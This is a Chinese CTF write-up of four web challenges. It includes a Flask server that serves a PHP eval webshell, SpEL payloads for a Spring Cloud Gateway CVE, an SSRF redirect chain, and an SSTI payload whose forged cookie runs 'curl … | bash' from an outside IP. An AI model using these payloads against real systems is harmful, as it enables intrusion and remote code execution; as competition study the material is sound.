前言
还是没强网杯那么难,就随便记录一下吧。
smallcode
环境变量可控,并且最后直接执行wget,考虑到打环境变量劫持http_proxy,思路就是让wgetrc由此访问到我们vps上起的恶意php木马内容,设置Content-Disposition为php后缀的木马文件并让他下载下来,从而实现RCE。
恶意服务:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| from flask import Flask, Response
app = Flask(__name__)
@app.route('/') def index(): content = "<?php @eval($_POST[1]);?>"
response = Response(content)
response.headers['Content-Type'] = 'application/octet-stream' response.headers['Content-Disposition'] = 'attachment; filename=eddie.php'
return response
if __name__ == "__main__": app.run(debug=True, host='0.0.0.0', port=21000)
|
POST方式env传参并发包:


蚁剑上线webshell,根目录发现flag,无权限读。
suid提权发现nl可用:

ezcloud
打CVE-2025-41243,Spring Cloud的未授权gateway漏洞。
扫描发现/actuator等信息泄露,env查看发现很多服务都被删了,要么是500服务未找到要么就是404not found,或者401需要令牌,例如:
1 2 3 4
| /file: {"code":401,"msg":"令牌不能为空"} /code: {"msg":"操作成功","code":200,"captchaEnabled":false} /auth: {"code":401,"msg":"令牌不能为空"} /schedule: {"code":401,"msg":"令牌不能为空"}
|
/code对应ruoyi-gen的一些功能,但是很多也被删了,打不了。
对着env里泄露的接口一个个尝试,发现/actuator/gateway/routes可以实现未授权添加路由,甚至执行SPEL表达式,跟CVE-2022-22947很像所以先测了一遍:


不过环境有点玄学,打不通了有时候需要重启后打:

但是直接执行SPEL表达式RCE是不行的。
最后是搜到了CVE-2025-41243 Spring Cloud Gateway SpEL 沙箱从任意属性访问到任意文件下载 - 白帽酱の博客,并且/actuator下的beans均可读,根据已公开payload直接打实现任意文件读取:
1 2 3 4 5 6 7 8
| 1、通过bean map 禁用安全限制 #{@systemProperties['spring.cloud.gateway.restrictive-property-accessor.enabled'] = 'false'}"
2、覆盖属性替换路由 #{ @resourceHandlerMapping.urlMap['/webjars/**'].locationValues[0]='file:///C:/'}"
3、setter 触发无参静态方法刷新配置 #{ @resourceHandlerMapping.urlMap['/webjars/**'].afterPropertiesSet}"
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| { "id": "hack", "predicates": [{ "name": "Path", "args": { "pattern": "/hackbyme" } }], "filters": [ { "name": "AddRequestHeader", "args": { "name": "aa", "value": "#{@systemProperties['spring.cloud.gateway.restrictive-property-accessor.enabled'] = 'false'}" } }, { "name": "AddRequestHeader", "args": { "name": "bb", "value": "#{ @resourceHandlerMapping.urlMap['/webjars/**'].locationValues[0]='file:///'}" } }, { "name": "AddRequestHeader", "args": { "name": "cc", "value": "#{ @resourceHandlerMapping.urlMap['/webjars/**'].afterPropertiesSet}" } } ], "uri": "http://example.com/" }
|



由于/actuator/env能看到当前os权限是root,所以直接可读根目录下flag:

safesecret
审计源码可知最后目标是打login路由的SSTI,首先需要获取一个SECRET并且同时传参上去,其次是SSTI要绕他的黑名单(ban了"config", "_", "read", "{{")和长度限制(必须小于47)。
发现/_internal/secret路由可以获取SECRET,但是需要request.remote_addr是127.0.0.1。
这里其实多次重定向就能打这个SSRF,满足 walked_steps >= 6 的条件即可,vps起一个flask:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| from flask import Flask, Response
app = Flask(__name__)
@app.route('/eddie1') def redirect_1(): return Response('', headers={'Refresh': '0; url=http://vps:port/eddie2'})
@app.route('/eddie2') def redirect_2(): return Response('', headers={'Refresh': '0; url=http://vps:port/eddie3'})
@app.route('/eddie3') def redirect_3(): return Response('', headers={'Refresh': '0; url=http://vps:port/eddie4'})
@app.route('/eddie4') def redirect_4(): return Response('', headers={'Refresh': '0; url=http://vps:port/eddie5'})
@app.route('/eddie5') def redirect_5(): return Response('', headers={'Refresh': '0; url=http://vps:port/eddie6'}) @app.route('/eddie6') def redirect_6(): return Response('', headers={'Refresh': '0; url=http://vps:port/eddie7'})
@app.route('/eddie7') def redirect_7(): return Response('', headers={'Refresh': '0; url=http://127.0.0.1:5000/_internal/secret'})
if __name__ == '__main__': app.run(host='0.0.0.0', port=21000)
|
然后打/fetch路由即可获得SECRET:

1
| 1140457d-a0b5-4e6d-a423-5a676e61992a
|
最后要同时绕他的黑名单和长度限制,发现源码里:

并且给出了app.secret_key:
1
| app.secret_key = "a_test_secret"
|
可以尝试伪造session,在cookie处打SSTI的payload来实现RCE。既然可以SSRF,那题目肯定出网,弄个反弹shell的payload:

1
| eyJhIjoiX19nbG9iYWxzX18iLCJiIjoiY3VybCBodHRwOi8vOC4xNDAuMjUxLjE1Mjo4MC9iYXNoLmh0bWx8YmFzaCJ9.aPze8w.piuG4MzMco6psO3dWM4l_Dne7Xk
|
payload为:
1
| {%set+c=lipsum[session.a].os.popen(session.b)%}
|
1 2 3
| GET /login?username={%set+c=lipsum[session.a].os.popen(session.b)%}&secret=1140457d-a0b5-4e6d-a423-5a676e61992a HTTP/1.1 Host: web-6a5a61a65b.challenge.xctf.org.cn Cookie:session=eyJhIjoiX19nbG9iYWxzX18iLCJiIjoiY3VybCBodHRwOi8vOC4xNDAuMjUxLjE1Mjo4MC9iYXNoLmh0bWx8YmFzaCJ9.aPze8w.piuG4MzMco6psO3dWM4l_Dne7Xk
|

ECShop
版本4.1.19。
0day,打的SQL注入,但是不是网上那个打WeChat参数的CNVD,而是登录位置的报错注入。
学弟赛后复现了,我就不打了hhhh
后记
qwb就不更了,等着线下去看看这俩比赛有啥好玩的再更一下吧。